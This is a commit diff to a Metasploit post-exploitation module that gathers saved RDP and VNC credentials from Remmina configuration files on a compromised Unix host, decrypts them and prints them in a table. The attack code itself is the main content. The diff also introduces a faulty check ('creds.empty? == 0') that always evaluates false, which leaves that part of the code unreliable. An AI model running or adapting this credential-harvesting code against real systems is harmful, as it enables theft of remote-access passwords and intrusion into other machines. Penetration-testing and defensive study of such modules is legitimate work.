Rip out create_credential* stuff. Use what works
parent
e5bb13a609
commit
6e1cdfde36
|
@ -11,28 +11,40 @@ class Metasploit3 < Msf::Post
|
||||||
include Msf::Post::Unix
|
include Msf::Post::Unix
|
||||||
|
|
||||||
def initialize(info = {})
|
def initialize(info = {})
|
||||||
super(update_info(info,
|
super(update_info(
|
||||||
'Name' => 'UNIX Gather Remmina Credentials',
|
info,
|
||||||
'Description' => %q(
|
'Name' => 'UNIX Gather Remmina Credentials',
|
||||||
Post module to obtain credentials saved for RDP and VNC
|
'Description' =>
|
||||||
from Remmina's configuration files. These are
|
"Post module to obtain credentials saved for RDP and VNC
|
||||||
encrypted with 3DES using a 256-bit key generated by
|
from Remmina's configuration files. These are
|
||||||
Remmina which is (by design) stored in (relatively)
|
encrypted with 3DES using a 256-bit key generated by
|
||||||
plain text in a file that must be properly protected.
|
Remmina which is (by design) stored in (relatively)
|
||||||
),
|
plain text in a file that must be properly protected.",
|
||||||
'License' => MSF_LICENSE,
|
'License' => MSF_LICENSE,
|
||||||
'Author' => ['Jon Hart <jon_hart[at]rapid7.com>'],
|
'Author' => ['Jon Hart <jon_hart[at]rapid7.com>'],
|
||||||
'Platform' => %w(bsd linux osx unix),
|
'Platform' => %w(bsd linux osx unix),
|
||||||
'SessionTypes' => %w(shell meterpreter)
|
'SessionTypes' => %w(shell meterpreter)
|
||||||
))
|
))
|
||||||
end
|
end
|
||||||
|
|
||||||
def run
|
def run
|
||||||
creds_count = extract_all_creds
|
creds = extract_all_creds
|
||||||
if creds_count == 0
|
creds.uniq!
|
||||||
|
if creds.empty? == 0
|
||||||
print_status('No Reminna credentials collected')
|
print_status('No Reminna credentials collected')
|
||||||
else
|
else
|
||||||
print_good("Collected #{creds_count} sets of Remmina credentials")
|
vprint_good("Collected #{creds.size} sets of Remmina credentials")
|
||||||
|
cred_table = Rex::Ui::Text::Table.new(
|
||||||
|
'Header' => 'Remmina Credentials',
|
||||||
|
'Indent' => 1,
|
||||||
|
'Columns' => %w(Host Port Service User Password)
|
||||||
|
)
|
||||||
|
|
||||||
|
creds.each do |cred|
|
||||||
|
cred_table << cred
|
||||||
|
end
|
||||||
|
|
||||||
|
print_line(cred_table.to_s)
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|
||||||
|
@ -54,7 +66,7 @@ class Metasploit3 < Msf::Post
|
||||||
|
|
||||||
# Extracts all remmina creds found anywhere on the target
|
# Extracts all remmina creds found anywhere on the target
|
||||||
def extract_all_creds
|
def extract_all_creds
|
||||||
creds_count = 0
|
creds = []
|
||||||
user_dirs = enum_user_directories
|
user_dirs = enum_user_directories
|
||||||
if user_dirs.empty?
|
if user_dirs.empty?
|
||||||
print_error('No user directories found')
|
print_error('No user directories found')
|
||||||
|
@ -91,15 +103,15 @@ class Metasploit3 < Msf::Post
|
||||||
if cred_files.empty?
|
if cred_files.empty?
|
||||||
vprint_status("No Remmina credential files in #{remmina_dir}")
|
vprint_status("No Remmina credential files in #{remmina_dir}")
|
||||||
else
|
else
|
||||||
creds_count += extract_creds(secret, cred_files)
|
creds |= extract_creds(secret, cred_files)
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
creds_count
|
creds
|
||||||
end
|
end
|
||||||
|
|
||||||
def extract_creds(secret, files)
|
def extract_creds(secret, files)
|
||||||
creds_count = 0
|
creds = []
|
||||||
files.each do |file|
|
files.each do |file|
|
||||||
settings = get_settings(file)
|
settings = get_settings(file)
|
||||||
if settings.empty?
|
if settings.empty?
|
||||||
|
@ -140,27 +152,7 @@ class Metasploit3 < Msf::Post
|
||||||
end
|
end
|
||||||
|
|
||||||
if host && user && password
|
if host && user && password
|
||||||
credential_core = create_credential(
|
creds << [ host, port, proto.downcase, user, password ]
|
||||||
origin_type: :session,
|
|
||||||
post_reference_name: self.refname,
|
|
||||||
private_type: :password,
|
|
||||||
private_data: password,
|
|
||||||
session_id: session_db_id,
|
|
||||||
username: user,
|
|
||||||
workspace_id: myworkspace_id
|
|
||||||
)
|
|
||||||
login_data = {
|
|
||||||
address: host,
|
|
||||||
port: port,
|
|
||||||
protocol: 'tcp',
|
|
||||||
service_name: proto.downcase,
|
|
||||||
core: credential_core,
|
|
||||||
access_level: 'User',
|
|
||||||
status: Metasploit::Model::Login::Status::UNTRIED,
|
|
||||||
workspace_id: myworkspace_id
|
|
||||||
}
|
|
||||||
create_credential_login(login_data)
|
|
||||||
creds_count += 1
|
|
||||||
else
|
else
|
||||||
missing = []
|
missing = []
|
||||||
missing << 'host' unless host
|
missing << 'host' unless host
|
||||||
|
@ -169,7 +161,7 @@ class Metasploit3 < Msf::Post
|
||||||
vprint_error("No #{missing.join(',')} in #{file}")
|
vprint_error("No #{missing.join(',')} in #{file}")
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
creds_count
|
creds
|
||||||
end
|
end
|
||||||
|
|
||||||
def get_settings(file)
|
def get_settings(file)
|
||||||
|
|
Loading…
Reference in New Issue